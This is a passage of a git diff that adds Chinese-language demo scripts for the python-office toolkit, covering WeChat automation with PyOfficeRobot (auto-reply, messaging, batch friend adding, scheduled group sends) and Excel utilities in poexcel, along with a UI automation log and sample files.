+@读者群 :http://www.python4office.cn/wechat-group/
+@学习网站 :https://www.python-office.com
+@代码日期 :2023/7/9 23:22
+@本段代码的视频说明 :https://www.bilibili.com/video/BV14R4y127h6
+'''
+import PyOfficeRobot
+
+import office
+
+keywords = {
+ "我要报名": "你好,这是报名链接:www.python-office.com",
+ "来个密码": office.tools.passwordtools(),
+}
+# PyOfficeRobot.chat.chat_by_keywords(who='每天进步一点点', keywords=keywords)
+PyOfficeRobot.chat.chat_by_keywords(who='知乎:程序员晚枫', keywords=keywords)
\ No newline at end of file
diff --git "a/demo/PyOfficeRobot/006-\347\213\254\347\253\213\347\211\210\346\234\254.py" "b/demo/PyOfficeRobot/006-\347\213\254\347\253\213\347\211\210\346\234\254.py"
new file mode 100644
index 0000000..2216fe7
--- /dev/null
+++ "b/demo/PyOfficeRobot/006-\347\213\254\347\253\213\347\211\210\346\234\254.py"
@@ -0,0 +1,20 @@
+# -*- coding: UTF-8 -*-
+'''
+@作者 :B站/抖音/微博/小红书/公众号,都叫:程序员晚枫,微信:CoderWanFeng
+@读者群 :http://www.python4office.cn/wechat-group/
+@学习网站 :https://www.python-office.com
+@代码日期 :2023/7/9 23:25
+@本段代码的视频说明 :https://www.bilibili.com/video/BV1SY411y7Uh
+'''
+
+# 原始方式
+import office
+
+office.wechat.send_message(who='百度一下:程序员晚枫', message='点个star吧')
+# office.wechat.send_message(who='每天进步一点点', message='你好')
+
+# 独立方式
+# import PyOfficeRobot
+
+
+# PyOfficeRobot.chat.send_message(who='百度一下:程序员晚枫', message='点个star吧')
diff --git "a/demo/PyOfficeRobot/007-\346\224\266\351\233\206\347\276\244\346\266\210\346\201\257.py" "b/demo/PyOfficeRobot/007-\346\224\266\351\233\206\347\276\244\346\266\210\346\201\257.py"
new file mode 100644
index 0000000..2b1f015
--- /dev/null
+++ "b/demo/PyOfficeRobot/007-\346\224\266\351\233\206\347\276\244\346\266\210\346\201\257.py"
@@ -0,0 +1,14 @@
+# -*- coding: UTF-8 -*-
+'''
+@作者 :B站/抖音/微博/小红书/公众号,都叫:程序员晚枫,微信:CoderWanFeng
+@读者群 :http://www.python4office.cn/wechat-group/
+@学习网站 :https://www.python-office.com
+@代码日期 :2023/7/9 23:28
+@本段代码的视频说明 :https://www.bilibili.com/video/BV1eD4y1g7yZ
+'''
+
+import PyOfficeRobot
+
+PyOfficeRobot.file.get_group_list()
+
+# TODO:有BUG:AttributeError: 'NoneType' object has no attribute 'Name'
diff --git "a/demo/PyOfficeRobot/008-\345\217\221\346\266\210\346\201\257\346\215\242\350\241\214.py" "b/demo/PyOfficeRobot/008-\345\217\221\346\266\210\346\201\257\346\215\242\350\241\214.py"
new file mode 100644
index 0000000..dc4b0be
--- /dev/null
+++ "b/demo/PyOfficeRobot/008-\345\217\221\346\266\210\346\201\257\346\215\242\350\241\214.py"
@@ -0,0 +1,13 @@
+# -*- coding: UTF-8 -*-
+'''
+@作者 :B站/抖音/微博/小红书/公众号,都叫:程序员晚枫,微信:CoderWanFeng
+@读者群 :http://www.python4office.cn/wechat-group/
+@学习网站 :https://www.python-office.com
+@代码日期 :2023/7/9 23:29
+@本段代码的视频说明 :https://www.bilibili.com/video/BV1Xg4y1s79z
+'''
+
+import PyOfficeRobot
+
+PyOfficeRobot.chat.send_message(who='每天进步一点点', message='你好' + '{ctrl}{ENTER}' + 'hello')
+# PyOfficeRobot.chat.send_message(who='CSDN:程序员晚枫', message='你好' + '{ctrl}{ENTER}' + 'hello')
diff --git "a/demo/PyOfficeRobot/009-\346\211\271\351\207\217\345\212\240\345\245\275\345\217\213.py" "b/demo/PyOfficeRobot/009-\346\211\271\351\207\217\345\212\240\345\245\275\345\217\213.py"
new file mode 100644
index 0000000..135e00e
--- /dev/null
+++ "b/demo/PyOfficeRobot/009-\346\211\271\351\207\217\345\212\240\345\245\275\345\217\213.py"
@@ -0,0 +1,24 @@
+# -*- coding: UTF-8 -*-
+'''
+@作者 :B站/抖音/微博/小红书/公众号,都叫:程序员晚枫
+@读者群 :http://www.python4office.cn/wechat-group/
+@个人网站 :www.python-office.com
+@Date :2023/4/27 21:19
+@Description :
+'''
+
+"""
+批量加好友,1行代码实现
+"""
+# pip install PyOfficeRobot>=0.1.5
+import PyOfficeRobot
+
+msg = "你好,我是程序员晚枫,全网同名。"
+num_notes = {
+ # '微信号/手机号': '你给Ta的备注',
+ # '1366666': '公众号-晚枫',
+ 'CoderWanFeng': '小红书-晚枫',
+}
+PyOfficeRobot.friend.add(msg=msg, num_notes=num_notes)
+
+# TODO:控件改变了,有BUG
diff --git "a/demo/PyOfficeRobot/010-\345\256\232\346\227\266\347\276\244\345\217\221.py" "b/demo/PyOfficeRobot/010-\345\256\232\346\227\266\347\276\244\345\217\221.py"
new file mode 100644
index 0000000..96cade7
--- /dev/null
+++ "b/demo/PyOfficeRobot/010-\345\256\232\346\227\266\347\276\244\345\217\221.py"
@@ -0,0 +1,18 @@
+# -*- coding: UTF-8 -*-
+'''
+@作者 :B站/抖音/微博/小红书/公众号,都叫:程序员晚枫
+@读者群 :http://www.python4office.cn/wechat-group/
+@个人网站 :www.python-office.com
+@Date :2023/4/27 21:20
+@Description :
+'''
+
+"""
+定时群发消息
+"""
+
+# pip
+import PyOfficeRobot
+
+if __name__ == '__main__':
+ PyOfficeRobot.group.send()
diff --git "a/demo/PyOfficeRobot/010-\345\256\232\346\227\266\347\276\244\345\217\221\347\232\204\350\265\204\346\226\231/content.txt" "b/demo/PyOfficeRobot/010-\345\256\232\346\227\266\347\276\244\345\217\221\347\232\204\350\265\204\346\226\231/content.txt"
new file mode 100644
index 0000000..83a1759
--- /dev/null
+++ "b/demo/PyOfficeRobot/010-\345\256\232\346\227\266\347\276\244\345\217\221\347\232\204\350\265\204\346\226\231/content.txt"
@@ -0,0 +1,4 @@
+大家好,这里是程序员晚枫。
+今天的视频更新了!
+【批量添加好友】
+视频链接:https://www.bilibili.com/video/BV1DV4y1o7t2
\ No newline at end of file
diff --git "a/demo/PyOfficeRobot/010-\345\256\232\346\227\266\347\276\244\345\217\221\347\232\204\350\265\204\346\226\231/\347\276\244\345\217\221\345\257\271\350\261\241.xls" "b/demo/PyOfficeRobot/010-\345\256\232\346\227\266\347\276\244\345\217\221\347\232\204\350\265\204\346\226\231/\347\276\244\345\217\221\345\257\271\350\261\241.xls"
new file mode 100644
index 0000000..fc9b489
Binary files /dev/null and "b/demo/PyOfficeRobot/010-\345\256\232\346\227\266\347\276\244\345\217\221\347\232\204\350\265\204\346\226\231/\347\276\244\345\217\221\345\257\271\350\261\241.xls" differ
diff --git a/demo/PyOfficeRobot/011-chat_chatgpt.py b/demo/PyOfficeRobot/011-chat_chatgpt.py
new file mode 100644
index 0000000..5016d1e
--- /dev/null
+++ b/demo/PyOfficeRobot/011-chat_chatgpt.py
@@ -0,0 +1,15 @@
+# -*- coding: UTF-8 -*-
+'''
+@作者 :B站/抖音/微博/小红书/公众号,都叫:程序员晚枫
+@读者群 :http://www.python4office.cn/wechat-group/
+@个人网站 :www.python-office.com
+@Date :2023/3/19 18:17
+@Description :
+'''
+# pip install PyOfficeRobot
+import PyOfficeRobot
+
+#
+PyOfficeRobot.chat.chat_by_gpt(who='程序员晚枫', api_key='你的api_key')
+
+# 24小时、
diff --git "a/demo/PyOfficeRobot/012\343\200\201\346\231\272\350\203\275\350\201\212\345\244\251.py" "b/demo/PyOfficeRobot/012\343\200\201\346\231\272\350\203\275\350\201\212\345\244\251.py"
new file mode 100644
index 0000000..1f1cb16
--- /dev/null
+++ "b/demo/PyOfficeRobot/012\343\200\201\346\231\272\350\203\275\350\201\212\345\244\251.py"
@@ -0,0 +1,14 @@
+# -*- coding: UTF-8 -*-
+'''
+@作者 :B站/抖音/微博/小红书/公众号,都叫:程序员晚枫,微信:CoderWanFeng
+@读者群 :http://www.python4office.cn/wechat-group/
+@学习网站 :https://www.python-office.com
+@代码日期 :2023/7/28 21:54
+@本段代码的视频说明 : https://www.bilibili.com/video/BV1394y1e787
+'''
+
+# pip install PyOfficeRobot
+import PyOfficeRobot
+
+# 1行代码,开始智能聊天
+PyOfficeRobot.chat.chat_robot(who='每天进步一点点')
diff --git a/demo/PyOfficeRobot/@AutomationLog.txt b/demo/PyOfficeRobot/@AutomationLog.txt
new file mode 100644
index 0000000..c305aa2
--- /dev/null
+++ b/demo/PyOfficeRobot/@AutomationLog.txt
@@ -0,0 +1,84 @@
+2023-08-09 21:48:46.468 WeChatType.py[48] SplitMessage -> Find Control Timeout(0s): {ControlType: ButtonControl}
+2023-08-09 21:49:12.034 WeChatType.py[48] SplitMessage -> Find Control Timeout(0s): {ControlType: ButtonControl}
+2023-08-09 21:49:12.059 WeChatType.py[48] SplitMessage -> Find Control Timeout(0s): {ControlType: ButtonControl}
+2023-08-09 21:49:12.075 WeChatType.py[48] SplitMessage -> Find Control Timeout(0s): {ControlType: ButtonControl}
+2023-08-09 21:49:12.080 WeChatType.py[48] SplitMessage -> Find Control Timeout(0s): {ControlType: ButtonControl}
+2023-08-09 21:49:12.087 WeChatType.py[48] SplitMessage -> Find Control Timeout(0s): {ControlType: ButtonControl}
+2023-08-09 21:49:12.090 WeChatType.py[48] SplitMessage -> Find Control Timeout(0s): {ControlType: ButtonControl}
+2023-08-09 21:49:12.097 WeChatType.py[48] SplitMessage -> Find Control Timeout(0s): {ControlType: ButtonControl}
+2023-08-09 21:49:12.104 WeChatType.py[48] SplitMessage -> Find Control Timeout(0s): {ControlType: ButtonControl}
+2023-08-09 21:49:12.111 WeChatType.py[48] SplitMessage -> Find Control Timeout(0s): {ControlType: ButtonControl}
+2023-08-09 21:49:12.119 WeChatType.py[48] SplitMessage -> Find Control Timeout(0s): {ControlType: ButtonControl}
+2023-08-09 21:49:12.125 WeChatType.py[48] SplitMessage -> Find Control Timeout(0s): {ControlType: ButtonControl}
+2023-08-09 21:49:12.133 WeChatType.py[48] SplitMessage -> Find Control Timeout(0s): {ControlType: ButtonControl}
+2023-08-09 21:49:12.141 WeChatType.py[48] SplitMessage -> Find Control Timeout(0s): {ControlType: ButtonControl}
+2023-08-09 21:49:12.149 WeChatType.py[48] SplitMessage -> Find Control Timeout(0s): {ControlType: ButtonControl}
+2023-08-09 21:49:12.153 WeChatType.py[48] SplitMessage -> Find Control Timeout(0s): {ControlType: ButtonControl}
+2023-08-09 21:49:12.156 WeChatType.py[48] SplitMessage -> Find Control Timeout(0s): {ControlType: ButtonControl}
+2023-08-09 21:49:12.166 WeChatType.py[48] SplitMessage -> Find Control Timeout(0s): {ControlType: ButtonControl}
+2023-08-09 21:49:13.061 WeChatType.py[48] SplitMessage -> Find Control Timeout(0s): {ControlType: ButtonControl}
+2023-08-09 21:49:13.582 WeChatType.py[48] SplitMessage -> Find Control Timeout(0s): {ControlType: ButtonControl}
+2023-08-09 21:49:13.636 WeChatType.py[48] SplitMessage -> Find Control Timeout(0s): {ControlType: ButtonControl}
+2023-08-09 21:49:14.575 WeChatType.py[48] SplitMessage -> Find Control Timeout(0s): {ControlType: ButtonControl}
+2023-08-09 21:49:14.609 WeChatType.py[48] SplitMessage -> Find Control Timeout(0s): {ControlType: ButtonControl}
+2023-08-09 21:49:15.347 WeChatType.py[48] SplitMessage -> Find Control Timeout(0s): {ControlType: ButtonControl}
+2023-08-09 21:49:15.379 WeChatType.py[48] SplitMessage -> Find Control Timeout(0s): {ControlType: ButtonControl}
+2023-08-09 21:49:16.085 WeChatType.py[48] SplitMessage -> Find Control Timeout(0s): {ControlType: ButtonControl}
+2023-08-09 21:49:16.115 WeChatType.py[48] SplitMessage -> Find Control Timeout(0s): {ControlType: ButtonControl}
+2023-08-09 21:49:16.949 WeChatType.py[48] SplitMessage -> Find Control Timeout(0s): {ControlType: ButtonControl}
+2023-08-09 21:49:16.982 WeChatType.py[48] SplitMessage -> Find Control Timeout(0s): {ControlType: ButtonControl}
+2023-08-09 21:49:17.644 WeChatType.py[48] SplitMessage -> Find Control Timeout(0s): {ControlType: ButtonControl}
+2023-08-09 21:49:17.679 WeChatType.py[48] SplitMessage -> Find Control Timeout(0s): {ControlType: ButtonControl}
+2023-08-09 21:49:18.344 WeChatType.py[48] SplitMessage -> Find Control Timeout(0s): {ControlType: ButtonControl}
+2023-08-09 21:49:18.403 WeChatType.py[48] SplitMessage -> Find Control Timeout(0s): {ControlType: ButtonControl}
+2023-08-09 21:49:19.395 WeChatType.py[48] SplitMessage -> 2023-08-09 22:14:56.550 WeChatType.py[48] SplitMessage -> Find Control Timeout(0s): {ControlType: ButtonControl}
+2023-08-09 22:14:56.573 WeChatType.py[48] SplitMessage -> Find Control Timeout(0s): {ControlType: ButtonControl}
+2023-08-09 22:14:56.587 WeChatType.py[48] SplitMessage -> Find Control Timeout(0s): {ControlType: ButtonControl}
+2023-08-09 22:14:56.595 WeChatType.py[48] SplitMessage -> Find Control Timeout(0s): {ControlType: ButtonControl}
+2023-08-09 22:14:56.607 WeChatType.py[48] SplitMessage -> Find Control Timeout(0s): {ControlType: ButtonControl}
+2023-08-09 22:14:56.613 WeChatType.py[48] SplitMessage -> Find Control Timeout(0s): {ControlType: ButtonControl}
+2023-08-09 22:14:56.623 WeChatType.py[48] SplitMessage -> Find Control Timeout(0s): {ControlType: ButtonControl}
+2023-08-09 22:14:56.628 WeChatType.py[48] SplitMessage -> Find Control Timeout(0s): {ControlType: ButtonControl}
+2023-08-09 22:14:56.637 WeChatType.py[48] SplitMessage -> Find Control Timeout(0s): {ControlType: ButtonControl}
+2023-08-09 22:14:56.641 WeChatType.py[48] SplitMessage -> Find Control Timeout(0s): {ControlType: ButtonControl}
+2023-08-09 22:14:56.649 WeChatType.py[48] SplitMessage -> Find Control Timeout(0s): {ControlType: ButtonControl}
+2023-08-09 22:14:56.653 WeChatType.py[48] SplitMessage -> Find Control Timeout(0s): {ControlType: ButtonControl}
+2023-08-09 22:15:06.417 WeChatType.py[48] SplitMessage -> Find Control Timeout(0s): {ControlType: ButtonControl}
+2023-08-09 22:15:10.139 WeChatType.py[48] SplitMessage -> Find Control Timeout(0s): {ControlType: ButtonControl}
+2023-08-09 22:15:10.170 WeChatType.py[48] SplitMessage -> Find Control Timeout(0s): {ControlType: ButtonControl}
+2023-08-09 22:15:10.181 WeChatType.py[48] SplitMessage -> Find Control Timeout(0s): {ControlType: ButtonControl}
+2023-08-09 22:15:10.196 WeChatType.py[48] SplitMessage -> Find Control Timeout(0s): {ControlType: ButtonControl}
+2023-08-09 22:15:10.201 WeChatType.py[48] SplitMessage -> Find Control Timeout(0s): {ControlType: ButtonControl}
+2023-08-09 22:15:10.205 WeChatType.py[48] SplitMessage -> Find Control Timeout(0s): {ControlType: ButtonControl}
+2023-08-09 22:15:10.213 WeChatType.py[48] SplitMessage -> Find Control Timeout(0s): {ControlType: ButtonControl}
+2023-08-09 22:15:10.218 WeChatType.py[48] SplitMessage -> Find Control Timeout(0s): {ControlType: ButtonControl}
+2023-08-09 22:15:10.227 WeChatType.py[48] SplitMessage -> Find Control Timeout(0s): {ControlType: ButtonControl}
+2023-08-09 22:15:11.860 WeChatType.py[48] SplitMessage -> Find Control Timeout(0s): {ControlType: ButtonControl}
+2023-08-09 22:15:14.232 WeChatType.py[48] SplitMessage -> Find Control Timeout(0s): {ControlType: ButtonControl}
+2023-08-09 22:15:14.911 WeChatType.py[48] SplitMessage -> Find Control Timeout(0s): {ControlType: ButtonControl}
+2023-08-09 22:15:14.932 WeChatType.py[48] SplitMessage -> Find Control Timeout(0s): {ControlType: ButtonControl}
+2023-08-09 22:15:15.067 WeChatType.py[48] SplitMessage -> Find Control Timeout(0s): {ControlType: ButtonControl}
+2023-08-09 22:15:15.081 WeChatType.py[48] SplitMessage -> Find Control Timeout(0s): {ControlType: ButtonControl}
+2023-08-09 22:15:15.092 WeChatType.py[48] SplitMessage -> Find Control Timeout(0s): {ControlType: ButtonControl}
+2023-08-09 22:15:15.100 WeChatType.py[48] SplitMessage -> Find Control Timeout(0s): {ControlType: ButtonControl}
+2023-08-09 22:15:15.105 WeChatType.py[48] SplitMessage -> Find Control Timeout(0s): {ControlType: ButtonControl}
+2023-08-09 22:15:15.109 WeChatType.py[48] SplitMessage -> Find Control Timeout(0s): {ControlType: ButtonControl}
+2023-08-09 22:15:15.122 WeChatType.py[48] SplitMessage -> Find Control Timeout(0s): {ControlType: ButtonControl}
+2023-08-09 22:15:15.129 WeChatType.py[48] SplitMessage -> Find Control Timeout(0s): {ControlType: ButtonControl}
+2023-08-09 22:15:15.137 WeChatType.py[48] SplitMessage -> Find Control Timeout(0s): {ControlType: ButtonControl}
+2023-08-09 22:15:15.148 WeChatType.py[48] SplitMessage -> Find Control Timeout(0s): {ControlType: ButtonControl}
+2023-08-09 22:15:15.159 WeChatType.py[48] SplitMessage -> Find Control Timeout(0s): {ControlType: ButtonControl}
+2023-08-09 22:15:15.176 WeChatType.py[48] SplitMessage -> Find Control Timeout(0s): {ControlType: ButtonControl}
+2023-08-09 22:15:15.190 WeChatType.py[48] SplitMessage -> Find Control Timeout(0s): {ControlType: ButtonControl}
+2023-08-09 22:15:15.194 WeChatType.py[48] SplitMessage -> Find Control Timeout(0s): {ControlType: ButtonControl}
+2023-08-09 22:15:15.204 WeChatType.py[48] SplitMessage -> Find Control Timeout(0s): {ControlType: ButtonControl}
+2023-08-09 22:15:15.217 WeChatType.py[48] SplitMessage -> Find Control Timeout(0s): {ControlType: ButtonControl}
+2023-08-09 22:15:15.225 WeChatType.py[48] SplitMessage -> Find Control Timeout(0s): {ControlType: ButtonControl}
+2023-08-09 22:15:15.239 WeChatType.py[48] SplitMessage -> Find Control Timeout(0s): {ControlType: ButtonControl}
+2023-08-09 22:15:15.250 WeChatType.py[48] SplitMessage -> Find Control Timeout(0s): {ControlType: ButtonControl}
+2023-08-09 22:15:15.256 WeChatType.py[48] SplitMessage -> Find Control Timeout(0s): {ControlType: ButtonControl}
+2023-08-09 22:15:15.270 WeChatType.py[48] SplitMessage -> Find Control Timeout(0s): {ControlType: ButtonControl}
+2023-08-09 22:15:15.283 WeChatType.py[48] SplitMessage -> Find Control Timeout(0s): {ControlType: ButtonControl}
+2023-08-09 22:15:15.288 WeChatType.py[48] SplitMessage -> Find Control Timeout(0s): {ControlType: ButtonControl}
+2023-08-09 22:15:15.292 WeChatType.py[48] SplitMessage -> Find Control Timeout(0s): {ControlType: ButtonControl}
+2023-08-09 22:17:10.058 WeChatType.py[48] SplitMessage ->
\ No newline at end of file
diff --git "a/demo/poexcel/Excel\350\275\254PDF.py" "b/demo/poexcel/Excel\350\275\254PDF.py"
new file mode 100644
index 0000000..ec6e149
--- /dev/null
+++ "b/demo/poexcel/Excel\350\275\254PDF.py"
@@ -0,0 +1,13 @@
+# -*- coding: UTF-8 -*-
+'''
+@作者 :B站/抖音/微博/小红书/公众号,都叫:程序员晚枫,微信:CoderWanFeng
+@读者群 :http://www.python4office.cn/wechat-group/
+@学习网站 :https://www.python-office.com
+@代码日期 :2023/7/16 19:44
+@本段代码的视频说明 :https://www.bilibili.com/video/BV1A84y1N7or/
+'''
+
+import office
+
+office.excel.excel2pdf(excel_path=r"D:\test\程序员晚枫.xlsx",
+ pdf_path=r"D:\test\程序员晚枫.pdf")
diff --git a/demo/poexcel/excel/split_excel_by_column.xlsx b/demo/poexcel/excel/split_excel_by_column.xlsx
new file mode 100644
index 0000000..10ebd5c
Binary files /dev/null and b/demo/poexcel/excel/split_excel_by_column.xlsx differ
diff --git a/demo/poexcel/excel/split_excel_by_column_Split_2023-08-06_172552.xlsx b/demo/poexcel/excel/split_excel_by_column_Split_2023-08-06_172552.xlsx
new file mode 100644
index 0000000..606436d
Binary files /dev/null and b/demo/poexcel/excel/split_excel_by_column_Split_2023-08-06_172552.xlsx differ
diff --git a/demo/poexcel/excel/split_excel_by_column_Split_2023-08-06_172727.xlsx b/demo/poexcel/excel/split_excel_by_column_Split_2023-08-06_172727.xlsx
new file mode 100644
index 0000000..65cd110
Binary files /dev/null and b/demo/poexcel/excel/split_excel_by_column_Split_2023-08-06_172727.xlsx differ
diff --git "a/demo/poexcel/\345\210\233\345\273\272Excel\346\226\207\344\273\266.py" "b/demo/poexcel/\345\210\233\345\273\272Excel\346\226\207\344\273\266.py"
new file mode 100644
index 0000000..df5fe1b
--- /dev/null
+++ "b/demo/poexcel/\345\210\233\345\273\272Excel\346\226\207\344\273\266.py"
@@ -0,0 +1,13 @@
+# -*- coding: UTF-8 -*-
+'''
+@作者 :B站/抖音/微博/小红书/公众号,都叫:程序员晚枫,微信:CoderWanFeng
+@读者群 :http://www.python4office.cn/wechat-group/
+@学习网站 :https://www.python-office.com
+@代码日期 :2023/7/15 0:30
+@本段代码的视频说明 :
+'''
+
+import office
+
+# 一行代码,创建Excel文件
+office.excel.fake2excel()
diff --git "a/demo/poexcel/\345\220\210\345\271\2662\344\270\252Excel\347\232\204\345\206\205\345\256\271\345\210\260\344\270\200\344\270\252sheet\344\270\255.py" "b/demo/poexcel/\345\220\210\345\271\2662\344\270\252Excel\347\232\204\345\206\205\345\256\271\345\210\260\344\270\200\344\270\252sheet\344\270\255.py"
new file mode 100644
index 0000000..8e28e2d
--- /dev/null
+++ "b/demo/poexcel/\345\220\210\345\271\2662\344\270\252Excel\347\232\204\345\206\205\345\256\271\345\210\260\344\270\200\344\270\252sheet\344\270\255.py"
@@ -0,0 +1,12 @@
+# -*- coding: UTF-8 -*-
+'''
+@作者 :B站/抖音/微博/小红书/公众号,都叫:程序员晚枫,微信:CoderWanFeng
+@读者群 :http://www.python4office.cn/wechat-group/
+@学习网站 :https://www.python-office.com
+@代码日期 :2023/8/6 20:17
+@本段代码的视频说明 :
+'''
+import poexcel
+
+poexcel.merge2sheet(dir_path=r'D:\workplace\code\github\python-office\tests\test_files\excel\merge2sheet',
+ output_sheet_name=r'platform', output_excel_name=r'./output/merge2sheet')
diff --git "a/demo/poexcel/\345\220\210\345\271\266\345\244\232\344\270\252Excel\345\210\260\344\270\200\344\270\252Excel\347\232\204\344\270\215\345\220\214sheet\344\270\255.py" "b/demo/poexcel/\345\220\210\345\271\266\345\244\232\344\270\252Excel\345\210\260\344\270\200\344\270\252Excel\347\232\204\344\270\215\345\220\214sheet\344\270\255.py"
new file mode 100644
index 0000000..8a60c11
--- /dev/null
+++ "b/demo/poexcel/\345\220\210\345\271\266\345\244\232\344\270\252Excel\345\210\260\344\270\200\344\270\252Excel\347\232\204\344\270\215\345\220\214sheet\344\270\255.py"
@@ -0,0 +1,12 @@
+# -*- coding: UTF-8 -*-
+'''
+@作者 :B站/抖音/微博/小红书/公众号,都叫:程序员晚枫,微信:CoderWanFeng
+@读者群 :http://www.python4office.cn/wechat-group/
+@学习网站 :https://www.python-office.com
+@代码日期 :2023/7/16 5:52
+@本段代码的视频说明 :
+'''
+
+import office
+
+office.excel.merge2excel(dir_path=r'../../contributors/bulabean', output_file='test_merge2excel.xlsx', )
diff --git "a/demo/poexcel/\345\220\214\344\270\200\344\270\252excel\351\207\214\347\232\204\344\270\215\345\220\214sheet\357\274\214\346\213\206\345\210\206\344\270\272\344\270\215\345\220\214\347\232\204excel\346\226\207\344\273\266.py" "b/demo/poexcel/\345\220\214\344\270\200\344\270\252excel\351\207\214\347\232\204\344\270\215\345\220\214sheet\357\274\214\346\213\206\345\210\206\344\270\272\344\270\215\345\220\214\347\232\204excel\346\226\207\344\273\266.py"
new file mode 100644
index 0000000..312ddcf
--- /dev/null
+++ "b/demo/poexcel/\345\220\214\344\270\200\344\270\252excel\351\207\214\347\232\204\344\270\215\345\220\214sheet\357\274\214\346\213\206\345\210\206\344\270\272\344\270\215\345\220\214\347\232\204excel\346\226\207\344\273\266.py"
@@ -0,0 +1,8 @@
+# -*- coding: UTF-8 -*-
+'''
+@作者 :B站/抖音/微博/小红书/公众号,都叫:程序员晚枫,微信:CoderWanFeng
+@读者群 :http://www.python4office.cn/wechat-group/
+@学习网站 :https://www.python-office.com
+@代码日期 :2023/7/16 5:54
+@本段代码的视频说明 :
+'''
diff --git "a/demo/poexcel/\346\211\271\351\207\217\346\250\241\346\213\237\346\225\260\346\215\256.py" "b/demo/poexcel/\346\211\271\351\207\217\346\250\241\346\213\237\346\225\260\346\215\256.py"
new file mode 100644
index 0000000..8fdd581
--- /dev/null
+++ "b/demo/poexcel/\346\211\271\351\207\217\346\250\241\346\213\237\346\225\260\346\215\256.py"
@@ -0,0 +1,13 @@
+# -*- coding: UTF-8 -*-
+'''
+@作者 :B站/抖音/微博/小红书/公众号,都叫:程序员晚枫,微信:CoderWanFeng
+@读者群 :http://www.python4office.cn/wechat-group/
+@学习网站 :https://www.python-office.com
+@代码日期 :2023/7/15 0:30
+@本段代码的视频说明 : https://www.bilibili.com/video/BV1wr4y1b7uk/
+ 可以模拟的数据类型有:https://mp.weixin.qq.com/s/xVwEjXu58WovgSi4ZTtVQw
+'''
+
+import poexcel
+
+poexcel.fake2excel(columns=['name', 'text'], rows=20)
diff --git "a/demo/poexcel/\346\212\212100\344\270\252Excel\344\270\255\347\254\246\345\220\210\346\235\241\344\273\266\347\232\204\346\225\260\346\215\256\357\274\214\346\261\207\346\200\273\345\210\2601\344\270\252Excel\351\207\214.py" "b/demo/poexcel/\346\212\212100\344\270\252Excel\344\270\255\347\254\246\345\220\210\346\235\241\344\273\266\347\232\204\346\225\260\346\215\256\357\274\214\346\261\207\346\200\273\345\210\2601\344\270\252Excel\351\207\214.py"
new file mode 100644
index 0000000..e4730c6
--- /dev/null
+++ "b/demo/poexcel/\346\212\212100\344\270\252Excel\344\270\255\347\254\246\345\220\210\346\235\241\344\273\266\347\232\204\346\225\260\346\215\256\357\274\214\346\261\207\346\200\273\345\210\2601\344\270\252Excel\351\207\214.py"
@@ -0,0 +1,15 @@
+# -*- coding: UTF-8 -*-
+'''
+@作者 :B站/抖音/微博/小红书/公众号,都叫:程序员晚枫
+@读者群 :http://www.python4office.cn/wechat-group/
+@个人网站 :www.python-office.com
+@Date :2023/3/25 17:40
+@Description :
+'''
+import poexcel
+
+poexcel.query4excel(query_content='程序员晚枫',
+ query_path=r'必填,放Excel文件的位置')
+
+# output_path = r'选填,输出查询结果Excel的位置,默认是query_path的位置',
+# output_name = '选填,输出的文件名字,默认是:query4excel.xlsx'
diff --git "a/demo/poexcel/\346\240\271\346\215\256\345\206\205\345\256\271\357\274\214\346\237\245\350\257\242Excel.py" "b/demo/poexcel/\346\240\271\346\215\256\345\206\205\345\256\271\357\274\214\346\237\245\350\257\242Excel.py"
new file mode 100644
index 0000000..76497a2
--- /dev/null
+++ "b/demo/poexcel/\346\240\271\346\215\256\345\206\205\345\256\271\357\274\214\346\237\245\350\257\242Excel.py"
@@ -0,0 +1,8 @@
+# -*- coding: UTF-8 -*-
+'''
+@作者 :B站/抖音/微博/小红书/公众号,都叫:程序员晚枫,微信:CoderWanFeng
+@读者群 :http://www.python4office.cn/wechat-group/
+@学习网站 :https://www.python-office.com
+@代码日期 :2023/7/18 21:50
+@本段代码的视频说明 :
+'''
diff --git "a/demo/poexcel/\346\240\271\346\215\256\346\214\207\345\256\232\347\232\204\345\210\227\357\274\214\346\213\206\345\210\206excel.py" "b/demo/poexcel/\346\240\271\346\215\256\346\214\207\345\256\232\347\232\204\345\210\227\357\274\214\346\213\206\345\210\206excel.py"
new file mode 100644
index 0000000..4187223
--- /dev/null
+++ "b/demo/poexcel/\346\240\271\346\215\256\346\214\207\345\256\232\347\232\204\345\210\227\357\274\214\346\213\206\345\210\206excel.py"
@@ -0,0 +1,16 @@
+# -*- coding: UTF-8 -*-
+'''
+@作者 :B站/抖音/微博/小红书/公众号,都叫:程序员晚枫,微信:CoderWanFeng
+@读者群 :http://www.python4office.cn/wechat-group/
+@学习网站 :https://www.python-office.com
+@代码日期 :2023/8/6 17:40
+@本段代码的视频说明 :
+'''
+
+import poexcel
+
+poexcel.split_excel_by_column(
+ filepath=r'D:\workplace\code\github\python-office\demo\poexcel\excel\split_excel_by_column.xlsx',
+ column=1,
+ worksheet_name='platform')
+
diff --git "a/demo/poexcel/\347\273\237\350\256\241Excel\346\211\223\345\215\260\345\207\272\346\235\245\346\234\211\345\244\232\345\260\221\351\241\265.py" "b/demo/poexcel/\347\273\237\350\256\241Excel\346\211\223\345\215\260\345\207\272\346\235\245\346\234\211\345\244\232\345\260\221\351\241\265.py"
new file mode 100644
index 0000000..f265d19
--- /dev/null
+++ "b/demo/poexcel/\347\273\237\350\256\241Excel\346\211\223\345\215\260\345\207\272\346\235\245\346\234\211\345\244\232\345\260\221\351\241\265.py"
@@ -0,0 +1,15 @@
+# -*- coding: UTF-8 -*-
+'''
+@作者 :B站/抖音/微博/小红书/公众号,都叫:程序员晚枫,微信:CoderWanFeng
+@读者群 :http://www.python4office.cn/wechat-group/
+@学习网站 :https://www.python-office.com
+@代码日期 :2023/7/16 19:43
+@本段代码的文档说明 :https://blog.csdn.net/weixin_42321517/article/details/131218163
+'''
+
+import poexcel
+
+# 存放Excel文件的目录
+folder_path = r"D:\程序员晚枫的文件夹\code\github\poexcel\dev"
+
+poexcel.count4page(folder_path)
diff --git "a/demo/pofile/test_files/replace4filename/\347\250\213\345\272\217\345\221\230\346\231\232\346\236\253-B\347\253\231.txt" "b/demo/pofile/test_files/replace4filename/\347\250\213\345\272\217\345\221\230\346\231\232\346\236\253-B\347\253\231.txt"
new file mode 100644
index 0000000..aa17a73
--- /dev/null
+++ "b/demo/pofile/test_files/replace4filename/\347\250\213\345\272\217\345\221\230\346\231\232\346\236\253-B\347\253\231.txt"
@@ -0,0 +1,3 @@
+程序员晚枫
+B站
+https://space.bilibili.com/1989702333
\ No newline at end of file
